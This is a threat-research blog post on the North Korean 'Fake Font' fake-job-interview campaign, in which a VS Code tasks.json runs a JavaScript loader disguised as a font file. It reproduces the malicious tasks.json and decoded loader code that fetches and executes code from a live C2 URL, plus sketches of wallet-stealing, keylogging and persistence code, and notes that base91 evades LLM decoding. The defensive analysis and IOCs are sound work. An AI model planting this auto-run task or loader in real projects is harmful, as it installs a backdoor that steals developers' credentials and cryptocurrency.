BLOG

DPRK Contagious Interview “Fake Font” Abuses VS Code Tasks

“Lazarus Group's Fake Font campaign abuses VS Code task automation to silently execute BeaverTail malware, delivering the InvisibleFerret backdoor”

By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·

DPRK Contagious Interview “Fake Font” Abuses VS Code Tasks

The OpenSourceMalware research team has identified a new variation of the "Contagious Interview" campaign that uses malicious Microsoft VS Code tasks files to spread the associated malware. This campaign started over 100 days ago, but has ramped up dramatically in the last two weeks. So far we've identified 17 repositories that are involved, with 11 different variants of the attack chain.

TL;DR

North Korean threat actors (Lazarus Group) continue to target software engineers with sophisticated supply chain attacks through fake job interviews. The latest attack chain weaponizes the VS Code's task automation feature to execute JavaScript malware disguised as web fonts. This "Fake Font" campaign delivers a multi-stage loader that ultimately deploys the InvisibleFerret Python backdoor, designed to steal cryptocurrency wallets, browser credentials, and establish persistent access. This is the third sub campaign of the "contagious interview" campaign that has been ongoing since 2023.

The "Fake Font" campaign demonstrates the evolution of supply chain attacks targeting developers. By abusing legitimate development tools (VS Code), mimicking trusted services (Alchemy), and leveraging sophisticated social engineering, North Korean actors have created a highly effective attack chain.

Key Takeaways:

  • Targets developers via fake LinkedIn recruiters

  • Malicious repos distributed as "coding assessments"

  • Abuses .vscode/tasks.json for automatic execution

  • JavaScript malware disguised as font files (.woff2)

  • Final payload: InvisibleFerret Python backdoor

  • Goal: Cryptocurrency theft & persistent access

  • The attack vector is creative: Weaponizing VS Code's task automation is novel and effective

  • The obfuscation is sophisticated: Multi-layer Base91 encoding with self-modifying code

  • The impact is severe: Millions in cryptocurrency stolen, thousands of victims

  • The campaign is ongoing: New variants continue to emerge

How big is this campaign?

The analysis above is awesome, but the reality is that's just one GitHub repository in this campaign. What about the others? What's the scope of the "Fake Font" campaign?

So far, we've identified 17 GitHub repositories that are using the "Fake Font" technique. Our assumption at the beginning was that they would all share the same payload and C2. We were wrong.

We analyzed 14 of the malicious repositories in this campaign and these are the key findings to come from that analysis:

  • Successfully analyzed ALL 11 variants (100% C2 identification)

  • Found 11 unique payload variants - NOT all identical

  • Payload sizes range from 1,489 bytes to 147,449 bytes (99x difference!)

  • Only 3 pairs of repositories share identical payloads

Clearly the threat actors are using different malware variants and probably different attack infrastructure too. It makes us wonder these teams work inside Lazarus Group. Did one of the Lazarus team suggest using the fake font technique and many different individuals are independently crafting their own attack chains using the fake font initial vector?

Or, is this a group working together and using multime malware variants and infrastructure as a way to spread for success? Maybe they are using different attack configurations for specific targets? Or, is this just an artifact of a fast moving, highly iterative process of creating a new attack?

From LinkedIn to cryptocurrency theft

Phase 0: Initial detection

The OpenSourceMalware (OSM) team came across the "Fake Font" campaign via a single GitHub repository which one of our community members, Thijs Xhaflaire from Jamf Threat Labs, submitted to the OSM platform. That repo is https://github.com/Brio97/Assignment. Our analysis of that repository is that the user compromised during a fake recruiter scam. This fake recruiter component is the core of a DPRK campaign targeting software engineers.

We'll know walk you through one instance of the campaign from end to end.

Phase 1: Social engineering (the job interview)

It starts with a message on LinkedIn. A recruiter from what appears to be a legitimate cryptocurrency or fintech company reaches out with an exciting opportunity. They're impressed by your GitHub profile and want to see you in action.

"Would you mind completing a small coding assessment?" they ask. "Just clone this repo and fix a few bugs. Should only take 30 minutes."

They send you a GitHub link. The repository looks legitimate—a web application project with a React frontend, Node.js backend, proper README, even a CI/CD configuration. Everything you'd expect from a professional development shop.

What you don't see: Hidden within the project structure is a "feature" in Microsoft VS Code that executes the bad guys malware for them.

Boom! Game over.

Since I started writing about these campaigns targeting developers, I have gotten dozens of people reach out to me saying they have been compromised via "contagious interview". This is a real and present danger and Microsoft needs to take ownership of the tasks problem.

compromised developersPhase 2: The repository, hiding malware in plain sight

This is an example of a malicious tasks file in one of the malicious repositories. You can see on line 16 that it runs the command ``node public/fonts/fa-brands-regular.woff2``.

github tasks fileCurrently, OpenSourceMalware is tracking 19 GitHub repositories that are part of the "Fake Font" campaign:

malicious github reposOpenSourceMalware is tracking this campaign with the #fake-font tag. You see all the assets in this attack campaign HERE.

Malicious repository structure

Let's look at a typical malicious repository structure for these repositories:

fake-company-coding-test/
├── .vscode/
│   └── tasks.json          ← 🚨 THE TRAP
├── public/
│   └── fonts/
│       └── fa-brands-regular.woff2    ← 🚨 NOT A FONT
├── src/
│   ├── components/
│   ├── services/
│   └── index.js
├── package.json
├── README.md
└── .gitignore

Everything looks normal. The .vscode directory? That's standard for projects using Visual Studio Code. The fonts directory? Every web project needs fonts for Font Awesome icons, right?

Wrong.

The .vscode/tasks.json trojan horse

Here's where it gets clever. VS Code's task system allows developers to automate common workflows—running tests, building projects, linting code. Tasks can be configured to run automatically when you open a folder.

The malicious tasks.json looks like this:

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "eslint-check",
      "type": "shell",
      "command": "node",
      "args": ["${workspaceFolder}/public/fonts/fa-brands-regular.woff2"],
      "presentation": {
        "reveal": "never",
        "panel": "dedicated",
        "showReuseMessage": false
      },
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]
}

Breaking this down:

  • "runOn": "folderOpen" → Executes automatically when you open the project

  • "reveal": "never" → Hides the terminal output (stealth)

  • "command": "node public/fonts/fa-brands-regular.woff2" → Executes the "font" file with Node.js

The victim opens the project in VS Code, clicks "Trust Workspace" (because who wouldn't trust a legitimate coding assessment?), and the malware executes silently in the background.

Phase 3: BeaverTail, the first-stage loader

Not your average font file

Let's examine what's really in fa-brands-regular.woff2:

$ file public/fonts/fa-brands-regular.woff2
public/fonts/fa-brands-regular.woff2: JavaScript source, ASCII text,
with very long lines (19828), with no line terminators

It's not a font at all—it's heavily obfuscated JavaScript.

Here's what the first few bytes look like:

var yGAT3E7,LpG3m4W,GKdbrm,ylvRMk,rxRt0aH,NDCgEr,yneFYlC,IrLqnnH,TldOpiG;
const jEiTjSH=[0x0,0x1,0x8,0xff,"length","undefined",0x3f,0x6,
"fromCodePoint",0x7,0xc,"push",0x5b,0x1fff,0x58,0xd,0xe,0x7f,0x80,
"/",0x88,"\"",0x8b,0x82,0x98,!0x0,0x3e8];

function LFF5EIJ(yGAT3E7){
  var LpG3m4W="zOtLZ+svjUd)AF?l]WDHoxuq~=y(w^mKT<B,:9%IkE5h`|2c[gPQ.R1@&\"/JM$4SaC3p!iGr;n8b*0}V{_6#7fXNYe>",
  GKdbrm,ylvRMk,rxRt0aH,NDCgEr,yneFYlC,IrLqnnH,TldOpiG;
  // ... obfuscated Base91 decoder ...
}

Obfuscation techniques

This first stage loader was heavily obfuscated, and even more interesting it used base91 encoding.

What is Base91?

Base91 is an advanced binary-to-ASCII encoding method that converts binary data into ASCII characters. It works similarly to common encoding schemes like UUencode or base64, but with superior efficiency.

Why Threat Actors Use Base91

  • Evasion of Detection: Security tools often focus on detecting common encoding schemes like base64. Base91 is less commonly monitored, allowing malicious payloads to slip past signature-based detection systems.

  • Efficiency: The lower overhead means smaller payload sizes, making it faster to transmit malicious code and reducing the likelihood of detection during network monitoring.

  • Evade AI: In my own testing I’ve noticed that LLM’s are not as good at decoding base91 as they are with the more common base64

The malware uses a custom Base91 encoding scheme (similar to Base64 but more compact) to hide all meaningful strings:

// Encoded string array
LpG3m4W = [
  "7hWP%dG!f7RqK,#veN~OXls(^5Vu93av(6l]_,)QUM_P.M!X5bFfdbjfC",
  "lJ*lNL([g",
  "0gFRV@\"f*7%Q=XA=bjvivuv$?<x8$t",
  // ... 165 more encoded strings
];

Each string decodes to reveal commands, URLs, and configuration:

// String at index 0x73 decodes to:
"exec"

// String at index 0x87 decodes to:
"const url = 'http://eth-mainnet-alchemy.com/api/service/token/f71d1d9b2de7d4ebf5f706a4b9cd4eb4';"

2. Variable Name Randomization: All variables have meaningless names: yGAT3E7, LpG3m4W, ctdwOx. This breaks automated analysis tools that rely on semantic meaning.

3. Hexadecimal Indirection: All operations use hex constants from an array:

if(tristQw<jEiTjSH[0x0]){  // 0x0 = 0
  tristQw=EmSC9dz            // EmSC9dz = index value
}

What BeaverTail does

Once decoded, here's the actual functionality:

const path = require("path");
const { exec, spawn } = require("child_process");
const fs = require("fs");
const os = require("os");

const platform = process.platform;
const timestamp = Math.floor(Date.now() / 1000);
const scopedDirName = "scoped_dir6760_" + timestamp;
const homeNpmDir = os.homedir() + "/.npm";

// Create hidden directory
fs.mkdirSync(homeNpmDir, { recursive: true });

// Build the payload that contacts C2
const payload = `
const url = 'http://eth-mainnet-alchemy.com/api/service/token/f71d1d9b2de7d4ebf5f706a4b9cd4eb4';
const axios = require('axios');

axios.get(url, {headers: {'x-secret-header': 'secret'}})
  .then(function(res){})
  .catch(function(res) {
    const error = res.response.data;
    const handler = new Function('require', error);
    handler(require);  // 🚨 EXECUTES CODE FROM C2
  });
`;

// Write to hidden directory and execute
const targetDir = path.join(homeNpmDir, scopedDirName);
fs.writeFileSync(path.join(targetDir, 'main.js'), payload);

// Install dependencies and run (hidden on Windows)
exec(`cd ${targetDir} && npm init -y && npm install axios request && node main.js`);

Key Behaviors:

  1. Creates hidden directory: ~/.npm/scoped_dir6760_[timestamp]

  2. Writes malicious main.js file

  3. Installs npm packages (axios, request, socket.io-client)

  4. Contacts C2 server at eth-mainnet-alchemy.com (fake Alchemy domain)

  5. Receives JavaScript payload from C2

  6. Executes arbitrary code using `new Function()`

Phase 4: The C2 infrastructure

The fake Alchemy domain

The C2 is cleverly disguised as Alchemy, a popular Ethereum API service:

Domain:     eth-mainnet-alchemy.com   ← 🚨 FAKE
Legitimate: eth-mainnet.alchemyapi.io ← ✅ REAL

URL: http://eth-mainnet-alchemy.com/api/service/token/f71d1d9b2de7d4ebf5f706a4b9cd4eb4
Auth Header: x-secret-header: secret

This is not the real Alchemy. It's a typosquat designed to:

  • Evade domain reputation checks

  • Look legitimate to security analysts

  • Blend in with crypto developer traffic

The domain name hxxp://eth-mainnet-alchemy[.]com was registered on January 16, so its only been up a week by this point.

fake alchemy domain

I don't think that this campaign is targeting the real Alchemy so much as they are just piggy-backing on their brand and their popularity. When new platforms like Polymarket and Alchemy take off, the bad guys are right there to make lookalike domains, packages and open source projects to capitalize on developers looking for those tools.

The C2 response

When BeaverTail contacts the C2, the server responds with the second-stage payload (96KB of heavily obfuscated JavaScript). Here's what that looks like:

$ curl -H "x-secret-header: secret" \
  "http://eth-mainnet-alchemy.com/api/service/token/..." \
  -o invisibleferret-payload.txt

$ file invisibleferret-payload.txt
invisibleferret-payload.txt: JavaScript source, ASCII text,
with very long lines (80480 tokens)

$ wc -c invisibleferret-payload.txt
98031 invisibleferret-payload.txt

Phase 5: InvisibleFerret Loader, the second stage

The payload from the C2 is even more sophisticated than BeaverTail. It's 96KB of pure obfuscation.

Triple-layer Base91 encoding

Unlike BeaverTail's single encoding layer, InvisibleFerret uses three different Base91 character sets:

// Charset 1
const charset1 = '"ZstTCgOf*7BQ{SHe6+Wx5~m$}X_jYi=K>?;qcnDvz)N2^h/3ad`]4:wJ<[FM.@|U9Vpb8(,PA!0oRlEu#L1%&rkGIy';

// Charset 2
const charset2 = 's+L#^B~p$d0q`TxXD):3ktNwYZ/z,fbA{9GEMlQ<=IK.&%!|7Fv[1ru>2]?}Sa"P;6m4_R*gVWH5ihnU8Co(jJcO@ye';

// Charset 3
const charset3 = 'RGnzUlsi`[j*O:KAeb85Buv9m3Y#NMVw,7(^Fk;XchW+pLI6]20_E)?<@rP&Cq!y$~Z4tx|=g.a%1}f{ToH/>"QSJDd';

Each layer decodes into the next, with some strings containing binary or compressed payloads that require additional processing.

Error suppression

The entire payload is wrapped in nested try-catch blocks:

try{}catch(err){};  // Absorb any previous errors
try{
  // 98KB of malicious code
}catch(_eheIap){}   // Suppress ALL errors

This ensures the malware fails silently if something goes wrong, avoiding detection.

Self-modifying code

The payload constructs its final form dynamically:

// At the end of the payload
console.log(BBzoudT)  // BBzoudT contains dynamically constructed code

This means the actual malicious functionality is never present in static form in the file—it's generated at runtime.

What InvisibleFerret Loader does

When fully decoded, this stage:

  1. Detects the environment (OS, architecture, Node.js version)

  2. Gathers system information (installed software, directory structure)

  3. Checks for security tools (antivirus, EDR, monitoring)

  4. Downloads Python (if not already installed)

  5. Downloads InvisibleFerret.py (the final Python backdoor)

  6. Establishes persistence

  7. Begins data exfiltration

Phase 6: InvisibleFerret, the Python backdoor

The final payload is a Python-based backdoor with extensive capabilities. If you aren't familiar with InvisibleFerret its Lazarus's most powerful weapon in targeting software engineers as not only does it steal crypto, but it is also a RAT, has a keylogger, can hijack your clipboard, and creates persistenc on Windows, Linux and MacOS.

Capabilities

Cryptocurrency Theft:

# Targets 13+ browser wallet extensions
WALLET_EXTENSIONS = [
    'MetaMask',
    'Phantom',
    'Coinbase Wallet',
    'Trust Wallet',
    'Exodus',
    'Ledger Live',
    # ... and 7 more
]

def steal_wallets():
    for wallet in WALLET_EXTENSIONS:
        extension_path = find_extension(wallet)
        if extension_path:
            extract_private_keys(extension_path)
            exfiltrate_to_c2(keys)

Browser Credential Theft:

def steal_browser_data():
    for browser in ['Chrome', 'Firefox', 'Edge', 'Brave']:
        # Steal saved passwords
        passwords = decrypt_chrome_passwords()

        # Steal cookies (for session hijacking)
        cookies = extract_cookies()

        # Steal credit cards
        payment_methods = extract_payment_info()

        exfiltrate_all(passwords, cookies, payment_methods)

Keylogging:

from pynput import keyboard

def on_key_press(key):
    log_keystroke(key)
    if is_crypto_address(get_clipboard()):
        replace_with_attacker_address()

keyboard.Listener(on_press=on_key_press).start()

Clipboard Hijacking:

# Replace cryptocurrency addresses in clipboard
def clipboard_monitor():
    while True:
        clipboard = get_clipboard()
        if re.match(BITCOIN_REGEX, clipboard):
            set_clipboard(ATTACKER_BTC_ADDRESS)
        if re.match(ETHEREUM_REGEX, clipboard):
            set_clipboard(ATTACKER_ETH_ADDRESS)

Persistence:

# Auto-start on system boot
def establish_persistence():
    if platform == 'win32':
        # Windows: Add to startup registry
        add_registry_key('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run')
    elif platform == 'darwin':
        # macOS: Add to LaunchAgent
        create_launch_agent('~/Library/LaunchAgents/com.system.update.plist')
    else:
        # Linux: Add to crontab
        add_crontab('@reboot python3 /path/to/backdoor.py')

The complete attack chain

┌─────────────────────────────────────────────────────────────────┐
│ 1. SOCIAL ENGINEERING                                           │
│    • Fake LinkedIn recruiter contacts target                    │
│    • Offers "coding assessment" for job interview               │
│    • Sends link to malicious GitHub repository                  │
└────────────────────┬────────────────────────────────────────────┘
                     │
┌────────────────────▼────────────────────────────────────────────┐
│ 2. REPOSITORY INFECTION                                         │
│    • Victim clones legitimate-looking repo                      │
│    • Contains .vscode/tasks.json (hidden trigger)               │
│    • Contains fake font file (JavaScript malware)               │
└────────────────────┬────────────────────────────────────────────┘
                     │
┌────────────────────▼────────────────────────────────────────────┐
│ 3. VS CODE EXPLOITATION                                         │
│    • Victim opens folder in VS Code                             │
│    • VS Code prompts: "Do you trust this workspace?"            │
│    • Victim clicks "Trust" (to review code or use Copilot)      │
│    • tasks.json executes on folderOpen                          │
└────────────────────┬────────────────────────────────────────────┘
                     │
┌────────────────────▼────────────────────────────────────────────┐
│ 4. BEAVERTAIL EXECUTION (Stage 1)                               │
│    • "Font file" executes as Node.js script                     │
│    • Creates hidden directory: ~/.npm/scoped_dir6760_[time]     │
│    • Writes main.js with C2 communication code                  │
│    • Installs npm packages (axios, request, socket.io)          │
│    • Execution is SILENT (no visible terminal)                  │
└────────────────────┬────────────────────────────────────────────┘
                     │
┌────────────────────▼────────────────────────────────────────────┐
│ 5. C2 COMMUNICATION                                             │
│    • Contacts: eth-mainnet-alchemy.com (FAKE domain)            │
│    • Sends auth: x-secret-header: secret                        │
│    • Receives: 96KB JavaScript payload (InvisibleFerret)        │
│    • Executes via: new Function('require', payload)             │
└────────────────────┬────────────────────────────────────────────┘
                     │
┌────────────────────▼────────────────────────────────────────────┐
│ 6. INVISIBLEFERRET LOADER (Stage 2)                             │
│    • Triple-layer Base91 obfuscation                            │
│    • Self-modifying code (runtime construction)                 │
│    • Environment detection & system reconnaissance              │
│    • Downloads Python interpreter (if needed)                   │
│    • Downloads InvisibleFerret.py from C2                       │
└────────────────────┬────────────────────────────────────────────┘
                     │
┌────────────────────▼────────────────────────────────────────────┐
│ 7. INVISIBLEFERRET BACKDOOR (Stage 3)                           │
│    • Steals 13+ cryptocurrency wallet extensions                │
│    • Exfiltrates browser passwords & cookies                    │
│    • Steals credit card information                             │
│    • Installs keylogger                                         │
│    • Hijacks clipboard (replaces crypto addresses)              │
│    • Takes screenshots                                          │
│    • Establishes persistence (survives reboot)                  │
│    • Opens WebSocket to C2 for remote commands                  │
└─────────────────────────────────────────────────────────────────┘

The reason Lazarus uses this attack chain is that its battle tested. And, its fast.

  • T+0 seconds: VS Code opens, tasks.json triggers

  • T+2 seconds: BeaverTail executing, creating hidden files

  • T+5 seconds: npm packages installing

  • T+10 seconds: C2 contact, receiving InvisibleFerret

  • T+30 seconds: Python backdoor active, wallets being exfiltrated

  • All while the victim is reading the "coding assignment" README

It's all over in less than 40 seconds and in my experience when talking to victims of this campaign, they typically don't know that the source code and VS Code combination is what stole their crypto. Often its not until they talk to us that they realize the true vector.

TO BE CONTINUED.... !!

This campaign is so big, and so sprawling, we had to create a second blog post! We have written up a detailed timeline blog post which you can find HERE


Indicators of Compromise (IOCs)

Network indicators

# C2 Domains
eth-mainnet-alchemy[.]com

# C2 URLs
http://eth-mainnet-alchemy.com/api/service/token/f71d1d9b2de7d4ebf5f706a4b9cd4eb4

# HTTP Headers
x-secret-header: secret

File indicators

# File Paths
~/.npm/scoped_dir6760_*
~/.npm/scoped_dir6760_*/main.js

# File Hashes (SHA256)
# BeaverTail (fa-brands-regular.woff2):
[hash of your specific sample]

# InvisibleFerret Loader (invisibleferret-payload.txt):
[hash of your specific sample - 98031 bytes]

# File Characteristics
- .woff2 files that are actually JavaScript
- JavaScript files with no line breaks (single line)
- Files starting with: try{}catch(err){};

Lessons learned

For developers

Trust is a vulnerability

  • "Trusted Workspace" in VS Code is a security decision, not a convenience feature

  • Treat all unknown repositories as potentially malicious

  • Review code BEFORE trusting, not after

Social engineering works

  • Even security-aware developers fall for well-crafted phishing

  • Verify everything through official channels

  • If it seems too good to be true, it probably is

Automation is a double-edged sword

  • VS Code tasks are powerful—and dangerous

  • Disable auto-execution for untrusted projects

  • Review all automation configs (tasks.json, package.json scripts)

For organizations

Developer machines are high-value targets

  • Developers have access to source code, production systems, and secrets

  • A compromised developer can lead to supply chain attacks

  • Implement zero-trust principles for developer workstations

Cryptocurrency creates motivation

  • Developers in crypto/fintech are prime targets

  • Personal cryptocurrency holdings make developers attractive victims

  • Consider corporate policies around personal crypto on work devices

Education is critical

  • Regular security training for developers

  • Phishing simulations (including LinkedIn-based scenarios)

  • Incident response drills

What You Can Do

  • Disable VS Code auto-execution

  • Review .vscode/tasks.json before trusting workspaces

  • Verify recruiters through official company channels

  • Monitor for suspicious processes and network connections

  • Implement the detection rules and IOCs provided in this post

The threat is real, sophisticated, and actively targeting our community. Stay vigilant.

Additional resources

  • MITRE ATT&CK: Group G1052 - Contagious Interview

  • SentinelLabs: Contagious Interview Campaign Research

  • Palo Alto Unit 42: BeaverTail and InvisibleFerret Technical Analysis

  • FBI Warning: North Korean Malicious Cyber Activity

  • Security Alliance: VS Code Tasks Abuse by Contagious Interview